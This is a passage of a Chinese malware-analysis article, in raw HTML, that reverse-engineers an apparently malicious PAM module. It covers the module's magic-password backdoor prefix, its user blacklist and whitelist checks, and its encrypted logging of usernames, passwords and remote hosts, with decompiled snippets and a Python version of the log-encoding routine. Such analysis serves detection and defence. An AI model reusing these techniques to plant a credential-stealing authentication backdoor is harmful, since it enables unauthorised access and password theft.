0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">拼接密码前缀</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">输入的密码会加上一个前缀 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Magical password</span></strong><span leaf=""> ，即  </span><code style="color: rgb(30, 107, 184);font-size: 12px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">Magical password + PAM_AUTHTOK </span></code><span leaf=""> 。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="1.0374707259953162" data-s="300,640" data-type="png" data-w="854" style="height: auto !important;" type="block" data-imgfileid="100030043" src="https://wechat2rss.xlab.app/img-proxy/?k=86c3ab86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQpbd1a6kN6ElKep3XFeQALfibnmkIuHQu1Zl06ib2qAJXVEC4twdUD1amvt8x5fw1RjzoqSv7X3Lkg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">账户黑/白名单检查</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">检查当前用户(PAM_USER) 是否在黑名单中。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">FUN_000110d0((char *)0x2ab,PAM_USER), (int)uVar13 == 0);</span></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"></figure><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="1.3545454545454545" data-s="300,640" data-type="png" data-w="660" style="height: auto !important;" type="block" data-imgfileid="100030044" src="https://wechat2rss.xlab.app/img-proxy/?k=e2d12494&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQpbd1a6kN6ElKep3XFeQALYqh7EWQlBZMtthcTdsYlc5UUAlUP8TtRjNkehK7wov53m9L2iamxgug%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">检查当前用户(PAM_USER) 是否在白名单中，可能指特权账户。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">FUN_0001119c((char *)0x224,PAM_USER), (int)uVar13 != 0);</span></code></pre></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.8696109358569927" data-s="300,640" data-type="png" data-w="951" style="height: auto !important;" type="block" data-imgfileid="100030045" src="https://wechat2rss.xlab.app/img-proxy/?k=9a623502&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQpbd1a6kN6ElKep3XFeQALgUFLk8fbzGzWczgkxV6EIepbb4FA2XZ36IMHqLgcdeOIPU35OXkNAg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">加密日志写入</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">检查某个文件路径（</span><code style="color: rgb(30, 107, 184);font-size: 12px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">(char *)0x199</span></code><span leaf="">）是否存在且是普通文件，即检查 st_mode字段是否为S_IFREG（0x8000）。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">FUN_00011ad4((char *)0x199,(int)pcVar6,(int)pcVar9,iVar1);</span><span leaf=""><br/></span><span leaf="">undefined8 FUN_00011ad4(char *param_1,int param_2,int param_3,int param_4){......};</span><span leaf=""><br/></span><span leaf="">FUN_000112bc(param_1,iVar1);</span></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"></figure><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.5273224043715847" data-s="300,640" data-type="png" data-w="732" style="height: auto !important;" type="block" data-imgfileid="100030046" src="https://wechat2rss.xlab.app/img-proxy/?k=3a68f919&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQpbd1a6kN6ElKep3XFeQALDZg84L9lFwzcoLbMTRZdWME7DUu8J3rEsQN35SW0VKrWIHrlicaBcqA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">将前面的文件（（</span><code style="color: rgb(30, 107, 184);font-size: 12px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">(char *)0x199</span></code><span leaf="">））映射到内存中。</span></p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.8491988689915174" data-s="300,640" data-type="png" data-w="1061" style="height: auto !important;" type="block" data-imgfileid="100030047" src="https://wechat2rss.xlab.app/img-proxy/?k=872887f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQpbd1a6kN6ElKep3XFeQALNXHL7xwqbE7zG0UazlrkVf2vxNHgOFyicx7QO7NW0HByC0iaFZUko8Fg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">根据PAM_USER、PAM_AUTHTOK、PAM_RHOST三个字段格式化字符串，然后对特定的字符进行替换，而对于不在上述特殊字符列表中的字符，进行字符移位，其Python等价的自定义编码算法如下：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">encode_char</span></span><span style="line-height: 26px;"><span leaf="">(s: str)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    s = list(s)</span><span leaf=""><br/></span><span leaf="">    iVar3 = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(s) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">or</span></span><span leaf=""> s[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;\0&#39;</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">    cVar2 = s[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> cVar2 != </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;\0&#39;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        cVar1 = s[iVar3]</span><span leaf=""><br/></span><span leaf="">        x = ord(cVar1)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> cVar2 == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39; &#39;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            new_c = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&amp;&#39;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> cVar2 == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&amp;&#39;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            new_c = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39; &#39;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> cVar2 == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/&#39;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            new_c = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;.&#39;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> cVar2 == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;.&#39;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            new_c = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/&#39;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> cVar2 == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;:&#39;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            new_c = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;?&#39;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> cVar2 == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;?&#39;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                new_c = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;:&#39;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                cVar2_calc = x + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x12</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (( (x + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbf</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xff</span></span><span leaf="">) &gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""><br/></span><span leaf="">                    ( (x + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb7</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xff</span></span><span leaf="">) &gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""><br/></span><span leaf="">                    ( (x + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb1</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xff</span></span><span leaf="">) &gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""><br/></span><span leaf="">                    ( (x + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xab</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xff</span></span><span leaf="">) &gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf=""> ):</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ((x + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9f</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xff</span></span><span leaf="">) &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                        cVar2_calc = x + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x12</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                        cVar2_calc = x + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ((x + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x97</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xff</span></span><span leaf="">) &gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ((x + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x91</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xff</span></span><span leaf="">) &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                                cVar2_calc = x - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> ((x + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8b</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xff</span></span><span leaf="">) &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                                cVar2_calc = x - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x14</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># -20</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> ((x - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x30</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xff</span></span><span leaf="">) &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                                cVar2_calc = x + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ((x - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x36</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xff</span></span><span leaf="">) &lt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                                    cVar2_calc = x - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf=""><br/></span><span leaf="">                new_c = chr(cVar2_calc &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xff</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        s[iVar3] = new_c</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># LAB_00011abc:</span></span><span leaf=""><br/></span><span leaf="">        iVar3 += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> iVar3 &gt;= len(s):</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span leaf="">        cVar2 = s[iVar3]</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf="">.join(s)</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 